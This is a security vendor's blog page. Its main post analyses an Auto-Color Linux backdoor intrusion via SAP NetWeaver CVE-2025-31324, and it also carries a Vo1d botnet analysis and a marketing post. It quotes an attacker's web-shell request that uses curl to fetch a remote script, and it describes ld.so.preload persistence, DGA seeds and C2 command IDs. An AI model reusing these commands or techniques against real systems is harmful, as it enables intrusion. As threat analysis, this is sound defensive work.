July 29, 2025

Auto-Color Backdoor: How Darktrace Thwarted a Stealthy Linux Intrusion

This blog examines a real-world Auto-Color malware attack that originated from the exploitation of CVE-2025-31324. Learn how Darktrace identified and contained the threat using AI-driven detection and response, with additional support from its expert analyst team.

Written by

Harriet Rayner

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Harriet Rayner

Cyber Analyst

Written by

Owen Finn

Cyber Analyst

Jul 2025

In April 2025, Darktrace identified an Auto-Color backdoor malware attack taking place on the network of a US-based chemicals company.

Over the course of three days, a threat actor gained access to the customer’s network, attempted to download several suspicious files and communicated with malicious infrastructure linked to Auto-Color malware.

After Darktrace successfully blocked the malicious activity and contained the attack, the Darktrace Threat Research team conducted a deeper investigation into the malware.

They discovered that the threat actor had exploited CVE-2025-31324 to deploy Auto-Color as part of a multi-stage attack — the first observed pairing of SAP NetWeaver exploitation with the Auto-Color malware.

Furthermore, Darktrace’s investigation revealed that Auto-Color is now employing suppression tactics to cover its tracks and evade detection when it is unable to complete its kill chain.

What is CVE-2025-31324?

On April 24, 2025, the software provider SAP SE disclosed a critical vulnerability in its SAP Netweaver product, namely CVE-2025-31324. The exploitation of this vulnerability would enable malicious actors to upload files to the SAP Netweaver application server, potentially leading to remote code execution and full system compromise. Despite the urgent disclosure of this CVE, the vulnerability has been exploited on several systems [1]. More information on CVE-2025-31324 can be found in our previous discussion.

What is Auto-Color Backdoor Malware?

The Auto-Color backdoor malware, named after its ability to rename itself to “/var/log/cross/auto-color” after execution, was first observed in the wild in November 2024 and is categorized as a Remote Access Trojan (RAT).

Auto-Colour has primarily been observed targeting universities and government institutions in the US and Asia [2].

What does Auto-Color Backdoor Malware do?

It is known to target Linux systems by exploiting built-in system features like ld.so.preload, making it highly evasive and dangerous, specifically aiming for persistent system compromise through shared object injection.

Each instance uses a unique file and hash, due to its statically compiled and encrypted command-and-control (C2) configuration, which embeds data at creation rather than retrieving it dynamically at runtime. The behavior of the malware varies based on the privilege level of the user executing it and the system configuration it encounters.

How does Auto-Color work?

The malware’s process begins with a privilege check; if the malware is executed without root privileges, it skips the library implant phase and continues with limited functionality, avoiding actions that require system-level access, such as library installation and preload configuration, opting instead to maintain minimal activity while continuing to attempt C2 communication. This demonstrates adaptive behavior and an effort to reduce detection when running in restricted environments.

If run as root, the malware performs a more invasive installation, installing a malicious shared object, namely **libcext.so.2**, masquerading as a legitimate C utility library, a tactic used to blend in with trusted system components. It uses dynamic linker functions like dladdr() to locate the base system library path; if this fails, it defaults to /lib.

Gaining persistence through preload manipulation

To ensure persistence, Auto-Color modifies or creates /etc/ld.so.preload, inserting a reference to the malicious library. This is a powerful Linux persistence technique as libraries listed in this file are loaded before any others when running dynamically linked executables, meaning Auto-Color gains the ability to silently hook and override standard system functions across nearly all applications.

Once complete, the ELF binary copies and renames itself to “**/var/log/cross/auto-color**”, placing the implant in a hidden directory that resembles system logs. It then writes the malicious shared object to the base library path.

A delayed payload activated by outbound communication

To complete its chain, Auto-Color attempts to establish an outbound TLS connection to a hardcoded IP over port 443. This enables the malware to receive commands or payloads from its operator via API requests [2].

Interestingly, Darktrace found that Auto-Color suppresses most of its malicious behavior if this connection fails - an evasion tactic commonly employed by advanced threat actors. This ensures that in air-gapped or sandboxed environments, security analysts may be unable to observe or analyze the malware’s full capabilities.

If the C2 server is unreachable, Auto-Color effectively stalls and refrains from deploying its full malicious functionality, appearing benign to analysts. This behavior prevents reverse engineering efforts from uncovering its payloads, credential harvesting mechanisms, or persistence techniques.

In real-world environments, this means the most dangerous components of the malware only activate when the attacker is ready, remaining dormant during analysis or detonation, and thereby evading detection.

Darktrace’s coverage of the Auto-Color malware

Initial alert to Darktrace’s SOC

On April 28, 2025, Darktrace’s Security Operations Centre (SOC) received an alert for a suspicious ELF file downloaded on an internet-facing device likely running SAP Netweaver. ELF files are executable files specific to Linux, and in this case, the unexpected download of one strongly indicated a compromise, marking the delivery of the Auto-Color malware.

Figure 1: A timeline breaking down the stages of the attack

Early signs of unusual activity detected by Darktrace

While the first signs of unusual activity were detected on April 25, with several incoming connections using URIs containing /developmentserver/metadatauploader, potentially scanning for the CVE-2025-31324 vulnerability, active exploitation did not begin until two days later.

Initial compromise via ZIP file download followed by DNS tunnelling requests

In the early hours of April 27, Darktrace detected an incoming connection from the malicious IP address 91.193.19[.]109[.] 6.

The telltale sign of CVE-2025-31324 exploitation was the presence of the URI ‘/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1’, combined with a ZIP file download.

The device immediately made a DNS request for the Out-of-Band Application Security Testing (OAST) domain aaaaaaaaaaaa[.]d06oojugfd4n58p4tj201hmy54tnq4rak[.]oast[.]me.

OAST is commonly used by threat actors to test for exploitable vulnerabilities, but it can also be leveraged to tunnel data out of a network via DNS requests.

Darktrace’s Autonomous Response capability quickly intervened, enforcing a “pattern of life” on the offending device for 30 minutes. This ensured the device could not deviate from its expected behavior or connections, while still allowing it to carry out normal business operations.

Figure 2: Alerts from the device’s Model Alert Log showing possible DNS tunnelling requests to ‘request bin’ services.

Figure 3: Darktrace’s Autonomous Response enforcing a “pattern of life” on the compromised device following a suspicious tunnelling connection.

Continued malicious activity

The device continued to receive incoming connections with URIs containing ‘/developmentserver/metadatauploader’. In total seven files were downloaded (see filenames in Appendix).

Around 10 hours later, the device made a DNS request for ‘ocr-freespace.oss-cn-beijing.aliyuncs[.]com’.

In the same second, it also received a connection from 23.186.200[.]173 with the URI ‘/irj/helper.jsp?cmd=curl -O hxxps://ocr-freespace.oss-cn-beijing.aliyuncs[.]com/2025/config.sh’, which downloaded a shell script named config.sh.

Execution

This script was executed via the helper.jsp file, which had been downloaded during the initial exploit, a technique also observed in similar SAP Netweaver exploits [4].

Darktrace subsequently observed the device making DNS and SSL connections to the same endpoint, with another inbound connection from 23.186.200[.]173 and the same URI observed again just ten minutes later.

The device then went on to make several connections to 47.97.42[.]177 over port 3232, an endpoint associated with Supershell, a C2 platform linked to backdoors and commonly deployed by China-affiliated threat groups [5].

Less than 12 hours later, and just 24 hours after the initial exploit, the attacker downloaded an ELF file from http://146.70.41.178:4444/logs, which marked the delivery of the Auto-Color malware.

Figure 4: Darktrace’s detection of unusual outbound connections and the subsequent file download from http://146.70.41.178:4444/logs, as identified by Cyber AI Analyst.

A deeper investigation into the attack

Darktrace’s findings indicate that CVE-2025-31324 was leveraged in this instance to launch a second-stage attack, involving the compromise of the internet-facing device and the download of an ELF file representing the Auto-Color malware—an approach that has also been observed in other cases of SAP NetWeaver exploitation [4].

Darktrace identified the activity as highly suspicious, triggering multiple alerts that prompted triage and further investigation by the SOC as part of the Darktrace Managed Detection and Response (MDR) service.

During this investigation, Darktrace analysts opted to extend all previously applied Autonomous Response actions for an additional 24 hours, providing the customer’s security team time to investigate and remediate.

Figure 5: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

At the host level, the malware began by assessing its privilege level; in this case, it likely detected root access and proceeded without restraint. Following this, the malware began the chain of events to establish and maintain persistence on the device, ultimately culminating an outbound connection attempt to its hardcoded C2 server.

Figure 6: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

Over a six-hour period, Darktrace detected numerous attempted connections to the endpoint 146.70.41[.]178 over port 443. In response, Darktrace’s Autonomous Response swiftly intervened to block these malicious connections.

Given that Auto-Color relies heavily on C2 connectivity to complete its execution and uses shared object preloading to hijack core functions without modifying existing binaries, the absence of a successful connection to its C2 infrastructure (in this case, 146.70.41[.]178) causes the malware to sleep before trying to reconnect.

While Darktrace’s analysis was limited by the absence of a live C2, prior research into its command structure reveals that Auto-Color supports a modular C2 protocol. This includes reverse shell initiation (0x100), file creation and execution tasks (0x2xx), system proxy configuration (0x300), and global payload manipulation (0x4XX). Additionally, core command IDs such as 0,1, 2, 4, and 0xF cover basic system profiling and even include a kill switch that can trigger self-removal of the malware [2]. This layered command set reinforces the malware’s flexibility and its dependence on live operator control.

Thanks to the timely intervention of Darktrace’s SOC team, who extended the Autonomous Response actions as part of the MDR service, the malicious connections remained blocked. This proactive prevented the malware from escalating, buying the customer’s security team valuable time to address the threat.

Conclusion

Ultimately, this incident highlights the critical importance of addressing high-severity vulnerabilities, as they can rapidly lead to more persistent and damaging threats within an organization’s network. Vulnerabilities like CVE-2025-31324 continue to be exploited by threat actors to gain access to and compromise internet-facing systems. In this instance, the download of Auto-Color malware was just one of many potential malicious actions the threat actor could have initiated.

From initial intrusion to the failed establishment of C2 communication, the Auto-Color malware showed a clear understanding of Linux internals and demonstrated calculated restraint designed to minimize exposure and reduce the risk of detection. However, Darktrace’s ability to detect this anomalous activity, and to respond both autonomously and through its MDR offering, ensured that the threat was contained. This rapid response gave the customer’s internal security team the time needed to investigate and remediate, ultimately preventing the attack from escalating further.

Credit to Harriet Rayner (Cyber Analyst), Owen Finn (Cyber Analyst), Tara Gould (Threat Research Lead) and Ryan Traill (Analyst Content Lead)

Appendices

MITRE ATT&CK Mapping

Malware - RESOURCE DEVELOPMENT - T1588.001

Drive-by Compromise - INITIAL ACCESS - T1189

Data Obfuscation - COMMAND AND CONTROL - T1001

Non-Standard Port - COMMAND AND CONTROL - T1571

Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - EXFILTRATION - T1048.003

Masquerading - DEFENSE EVASION - T1036

Application Layer Protocol - COMMAND AND CONTROL - T1071

Unix Shell – EXECUTION - T1059.004

LC_LOAD_DYLIB Addition – PERSISTANCE - T1546.006

Match Legitimate Resource Name or Location – DEFENSE EVASION - T1036.005

Web Protocols – COMMAND AND CONTROL - T1071.001

Indicators of Compromise (IoCs)

Filenames downloaded:

exploit.properties
helper.jsp
0KIF8.jsp
cmd.jsp
test.txt
uid.jsp
vregrewfsf.jsp

Auto-Color sample:

270fc72074c697ba5921f7b61a6128b968ca6ccbf8906645e796cfc3072d4c43 (sha256)

IP Addresses

146[.]70[.]19[.]122
149[.]78[.]184[.]215
196[.]251[.]85[.]31
120[.]231[.]21[.]8
148[.]135[.]80[.]109
45[.]32[.]126[.]94
110[.]42[.]42[.]64
119[.]187[.]23[.]132
18[.]166[.]61[.]47
183[.]2[.]62[.]199
188[.]166[.]87[.]88
31[.]222[.]254[.]27
91[.]193[.]19[.]109
123[.]146[.]1[.]140
139[.]59[.]143[.]102
155[.]94[.]199[.]59
165[.]227[.]173[.]41
193[.]149[.]129[.]31
202[.]189[.]7[.]77
209[.]38[.]208[.]202
31[.]222[.]254[.]45
58[.]19[.]11[.]97
64[.]227[.]32[.]66

Darktrace Model Detections

Compromise / Possible Tunnelling to Bin Services

Anomalous Server Activity / New User Agent from Internet Facing System

Anomalous File / Incoming ELF File

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous Connection / New User Agent to IP Without Hostname

Experimental / Mismatched MIME Type From Rare Endpoint V4

Compromise / High Volume of Connections with Beacon Score

Device / Initial Attack Chain Activity

Device / Internet Facing Device with High Priority Alert

Compromise / Large Number of Suspicious Failed Connections

Model Alerts for CVE

Compromise / Possible Tunnelling to Bin Services

Compromise / High Priority Tunnelling to Bin Services

Autonomous Response Model Alerts

Antigena / Network::External Threat::Antigena Suspicious File Block

Antigena / Network::External Threat::Antigena File then New Outbound Block

Antigena / Network::Significant Anomaly::Antigena Controlled and Model Alert

Experimental / Antigena File then New Outbound Block

Antigena / Network::External Threat::Antigena Suspicious Activity Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / MDR::Model Alert on MDR-Actioned Device

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

References

1. [Online] https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/.

2. https://unit42.paloaltonetworks.com/new-linux-backdoor-auto-color/. [Online]

3. [Online] (https://www.darktrace.com/blog/tracking-cve-2025-31324-darktraces-detection-of-sap-netweaver-exploitation-before-and-after-disclosure#:~:text=June%2016%2C%202025-,Tracking%20CVE%2D2025%2D31324%3A%20Darktrace's%20detection%20of%20SAP%20Netweaver,guidance%.

4. [Online] https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/.

5. [Online] https://www.forescout.com/blog/threat-analysis-sap-vulnerability-exploited-in-the-wild-by-chinese-threat-actor/.

Inside the SOC

Written by

Harriet Rayner

Cyber Analyst

Written by

Owen Finn

Cyber Analyst

Product Marketing Manager, Network Detection & Response

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November 14, 2025

Unmasking Vo1d: Inside Darktrace’s Botnet Detection

What is Vo1d APK malware?

Vo1d malware first appeared in the wild in September 2024 and has since evolved into one of the most widespread Android botnets ever observed. This large-scale Android malware primarily targets smart TVs and low-cost Android TV boxes. Initially, Vo1d was identified as a malicious backdoor capable of installing additional third-party software [1]. Its functionality soon expanded beyond the initial infection to include deploying further malicious payloads, running proxy services, and conducting ad fraud operations. By early 2025, it was estimated that Vo1d had infected 1.3 to 1.6 million devices worldwide [2].

From a technical perspective, Vo1d embeds components into system storage to enable itself to download and execute new modules at any time. External researchers further discovered that Vo1d uses Domain Generation Algorithms (DGAs) to create new command-and-control (C2) domains, ensuring that regardless of existing servers being taken down, the malware can quickly reconnect to new ones. Previous published analysis identified dozens of C2 domains and hundreds of DGA seeds, along with new downloader families. Over time, Vo1d has grown increasingly sophisticated with clear signs of stronger obfuscation and encryption methods designed to evade detection [2].

Darktrace’s coverage

Earlier this year, Darktrace observed a surge in Vo1d-related activity across customer environments, with the majority of affected customers based in South Africa. Devices that had been quietly operating as expected began exhibiting unusual network behavior, including excessive DNS lookups. Open-source intelligence (OSINT) has long highlighted South Africa as one of the countries most impacted by Vo1d infections [2].

What makes the recent activity particularly interesting is that the surge observed by Darktrace appears to be concentrated specifically in South African environments. This localized spike suggests that a significant number of devices may have been compromised, potentially due to vulnerable software, outdated firmware, or even preloaded malware. Regions with high prevalence of low-cost, often unpatched devices are especially susceptible, as these everyday consumer electronics can be quietly recruited into the botnet’s network. This specifically appears to be the case with South Africa, where public reporting has documented widespread use of low-cost boxes, such as non-Google-certified Android TV sticks, that frequently ship with outdated firmware [3].

The initial triage highlighted the core mechanism Vo1d uses to remain resilient: its use of DGA. A DGA deterministically creates a large list of pseudo-random domain names on a predictable schedule. This enables the malware to compute hundreds of candidate domains using the same algorithm, instead of using a hard-coded single C2 hostname that defenders could easily block or take down. To ensure reproducible from the infected device’s perspective, Vo1d utilizes DGA seeds. These seeds might be a static string, a numeric value, or a combination of underlying techniques that enable infected devices to generate the same list of candidate domains for a time window, provided the same DGA code, seed, and date are used.

Interestingly, Vo1d’s DGA seeds do not appear to be entirely unpredictable, and the generated domains lack fully random-looking endings. As observed in Figure 1, there is a clear pattern in the names generated. In this case, researchers identified that while the first five characters would change to create the desired list of domain names, the trailing portion remained consistent as part of the seed: 60b33d7929a, which OSINT sources have linked to the Vo1d botnet. [2]. Darktrace’s Threat Research team also identified a potential second DGA seed, with devices in some cases also engaging in activity involving hostnames matching the regular expression /[a-z]{5}fc975904fc9\.(com|top|net). This second seed has not been reported by any OSINT vendors at the time of writing.

Another recurring characteristic observed across multiple cases was the choice of top-level domains (TLDs), which included .com, .net, and .top.

Figure 1: Advanced Search results showing DNS lookups, providing a glimpse on the DGA seed utilized.

The activity was detected by multiple models in Darktrace / NETWORK™, which triggered on devices making an unusually large volume of DNS requests for domains uncommon across the network.

During the network investigation, Darktrace analysts traced Vo1d’s infrastructure and uncovered an interesting pattern related to responder ASNs. A significant number of connections pointed to AS16509 (AMAZON-02). By hosting redirectors or C2 nodes inside major cloud environments, Vo1d is able to gain access to highly available and geographically diverse infrastructure. When one node is taken down or reported, operators can quickly enable a new node under a different IP within the same ASN. Another feature of cloud infrastructure that hardens Vo1d’s resilience is the fact that many organizations allow outbound connections to cloud IP ranges by default, assuming they are legitimate. Despite this, Darktrace was able to identify the rarity of these endpoints, identifying the unusualness of the activity.

Analysts further observed that once a generated domain successfully resolved, infected devices consistently began establishing outbound connections to ephemeral port ranges like TCP ports 55520 and 55521. These destination ports are atypical for standard web or DNS traffic. Even though the choice of high-numbered ports appears random, it is likely far from not accidental. Commonly used ports such as port 80 (HTTP) or 443 (HTTPS) are often subject to more scrutiny and deeper inspection or content filtering, making them riskier for attackers. On the other hand, unregistered ports like 55520 and 55521 are less likely to be blocked, providing a more covert channel that blends with outbound TCP traffic. This tactic helps evade firewall rules that focus on common service ports. Regardless, Darktrace was able to identify external connections on uncommon ports to locations that the network does not normally visit.

The continuation of the described activity was identified by Darktrace’s Cyber AI Analyst, which correlated individual events into a broader interconnected incident. It began with the multiple DNS requests for the algorithmically generated domains, followed by repeated connections to rare endpoints later confirmed as attacker-controlled infrastructure. Cyber AI Analyst’s investigation further enabled it to categorize the events as part of the “established foothold” phase of the attack.

Figure 2: Cyber AI Analyst incident illustrating the transition from DNS requests for DGA domains to connections with resolved attacker-controlled infrastructure.

Conclusion

The observations highlighted in this blog highlight the precision and scale of Vo1d’s operations, ranging from its DGA-generated domains to its covert use of high-numbered ports. The surge in affected South African environments illustrate how regions with many low-cost, often unpatched devices can become major hubs for botnet activity. This serves as a reminder that even everyday consumer electronics can play a role in cybercrime, emphasizing the need for vigilance and proactive security measures.

Credit to Christina Kreza (Cyber Analyst & Team Lead) and Eugene Chua (Principal Cyber Analyst & Team Lead)

Edited by Ryan Traill (Analyst Content Lead)

‍

Appendices

Darktrace Model Detections

Anomalous Connection / Devices Beaconing to New Rare IP
Anomalous Connection / Multiple Connections to New External TCP Port
Anomalous Connection / Multiple Failed Connections to Rare Endpoint
Compromise / DGA Beacon
Compromise / Domain Fluxing
Compromise / Fast Beaconing to DGA
Unusual Activity / Unusual External Activity

List of Indicators of Compromise (IoCs)

3.132.75[.]97 – IP address – Likely Vo1d C2 infrastructure
g[.]sxim[.]me – Hostname – Likely Vo1d C2 infrastructure
snakeers[.]com – Hostname – Likely Vo1d C2 infrastructure

Selected DGA IoCs

semhz60b33d7929a[.]com – Hostname – Possible Vo1d C2 DGA endpoint
ggqrb60b33d7929a[.]com – Hostname – Possible Vo1d C2 DGA endpoint
eusji60b33d7929a[.]com – Hostname – Possible Vo1d C2 DGA endpoint
uacfc60b33d7929a[.]com – Hostname – Possible Vo1d C2 DGA endpoint
qilqxfc975904fc9[.]top – Hostname – Possible Vo1d C2 DGA endpoint

MITRE ATT&CK Mapping

T1071.004 – Command and Control – DNS
T1568.002 – Command and Control – Domain Generation Algorithms
T1568.001 – Command and Control – Fast Flux DNS
T1571 – Command and Control – Non-Standard Port

[1] https://news.drweb.com/show/?lng=en&i=14900

[2] https://blog.xlab.qianxin.com/long-live-the-vo1d_botnet/

[3] https://mybroadband.co.za/news/broadcasting/596007-warning-for-south-africans-using-specific-types-of-tv-sticks.html

‍

_{The content provided in this blog is published by Darktrace for general informational purposes only and reflects our understanding of cybersecurity topics, trends, incidents, and developments at the time of publication. While we strive to ensure accuracy and relevance, the information is provided “as is” without any representations or warranties, express or implied. Darktrace makes no guarantees regarding the completeness, accuracy, reliability, or timeliness of any information presented and expressly disclaims all warranties.}

_{Nothing in this blog constitutes legal, technical, or professional advice, and readers should consult qualified professionals before acting on any information contained herein. Any references to third-party organizations, technologies, threat actors, or incidents are for informational purposes only and do not imply affiliation, endorsement, or recommendation.}

_{Darktrace, its affiliates, employees, or agents shall not be held liable for any loss, damage, or harm arising from the use of or reliance on the information in this blog.}

_{The cybersecurity landscape evolves rapidly, and blog content may become outdated or superseded. We reserve the right to update, modify, or remove any content.}

About the author

Christina Kreza

Cyber Analyst

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November 6, 2025

Darktrace Named the Only 2025 Gartner® Peer Insights™ Customers’ Choice for Network Detection and Response

Darktrace: The only Customers’ Choice for NDR in 2025

In a year defined by rapid change across the threat landscape, recognition from those who use and rely on security technology every day means the most.

That’s why we’re proud to share that Darktrace has been named the only Customers’ Choice in the 2025 Gartner® Peer Insights™ Voice of the Customer for Network Detection and Response (NDR).

Out of 11 leading NDR vendors evaluated, Darktrace stood alone as the sole Customers’ Choice, a recognition that we feel reflects not just our innovation, but the trust and satisfaction of the customers who secure their networks with Darktrace every day.

What the Gartner® Peer Insights™ Voice of the Customer means

“Voice of the Customer” is a document that synthesizes Gartner Peer Insights reviews into insights for buyers of technology and services. This aggregated peer perspective, along with the individual detailed reviews, is complementary to Gartner expert research and can play a key role in your buying process. Peers are verified reviewers of a technology product or service, who not only rate the offering, but also provide valuable feedback to consider before making a purchase decision. Vendors placed in the upper-right “Customers’ Choice” quadrant of the “Voice of the Customer” have scores that meet or exceed the market average for both axes (User Interest and Adoption, and Overall Experience).It’s not just a rating. We feel it’s a reflection of genuine customer sentiment and success in the field.

In our view, Customers consistently highlight Darktrace’s ability to:

Detect and respond to unknown threats in real time
Deliver unmatched visibility across IT, OT, and cloud environments
Automate investigations and responses through AI-driven insights

We believe this recognition reinforces what our customers already know: that Darktrace helps them see, understand, and stop attacks others miss.

A rare double: recognized by customers and analysts alike

This distinction follows another major recogniton. Darktrace’s placement as a Leader in the Gartner® Magic Quadrant™ for Network Detection and Response earlier this year.

That makes Darktrace the only vendor to achieve both:

A Leader status in the Gartner Magic Quadrant for NDR, and
A Customers’ Choice in Gartner Peer Insights 2025

It’s a rare double that we feel reflects both industry leadership and customer trust, two perspectives that, together, define what great cybersecurity looks like.

A Customers’ Choice across the network and the inbox

To us, this recognition also builds on Darktrace’s momentum across multiple domains. Earlier this year, Darktrace was also named a Customers’ Choice for Email Security Platforms in the Gartner® Peer Insights™ report.

With more than 1,000 verified reviews across Network Detection and Response, Email Security Platforms, and Cyber Physical Systems (CPS), we at Darktrace are proud to be trusted across the full attack surface, from the inbox to the industrial network.

Thank you to our customers

We’re deeply grateful to every customer who shared their experience with Darktrace on Gartner Peer Insights. Your insights drive our innovation and continue to shape how we protect complex, dynamic environments across the world.

Discover why customers choose Darktrace for network and email security.

^{Gartner® Peer Insights™ content consists of the opinions of individual end users based on their own experiences, and should not be construed as statements of fact, nor do they represent the views of Gartner or its affiliates. Gartner does not endorse any vendor, product or service depicted in this content nor makes any warranties, expressed or implied, with respect to this content, about its accuracy or completeness, including any warranties of merchantability or fitness for a particular purpose.}

^{Gartner, Voice of the Customer for Network Detection and Response, By Peer Community Contributor, 30 October 2025}

About the author

Mikey Anderson

Product Marketing Manager, Network Detection & Response

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Auto-Color Backdoor: How Darktrace Thwarted a Stealthy Linux Intrusion

What is CVE-2025-31324?

What is Auto-Color Backdoor Malware?

What does Auto-Color Backdoor Malware do?

How does Auto-Color work?

Gaining persistence through preload manipulation

A delayed payload activated by outbound communication

Darktrace’s coverage of the Auto-Color malware

Initial alert to Darktrace’s SOC

Early signs of unusual activity detected by Darktrace

Initial compromise via ZIP file download followed by DNS tunnelling requests

Continued malicious activity

Execution

A deeper investigation into the attack

Conclusion

Appendices

Darktrace Model Detections

References

Unmasking Vo1d: Inside Darktrace’s Botnet Detection

Darktrace Named the Only 2025 Gartner® Peer Insights™ Customers’ Choice for Network Detection and Response

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Blog

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November 14, 2025

Unmasking Vo1d: Inside Darktrace’s Botnet Detection

What is Vo1d APK malware?

Darktrace’s coverage

Conclusion

Appendices

Darktrace Model Detections

List of Indicators of Compromise (IoCs)

Selected DGA IoCs

MITRE ATT&CK Mapping

Blog

Network

November 6, 2025

Darktrace Named the Only 2025 Gartner® Peer Insights™ Customers’ Choice for Network Detection and Response

Darktrace: The only Customers’ Choice for NDR in 2025

What the Gartner® Peer Insights™ Voice of the Customer means

A Customers’ Choice across the network and the inbox

Thank you to our customers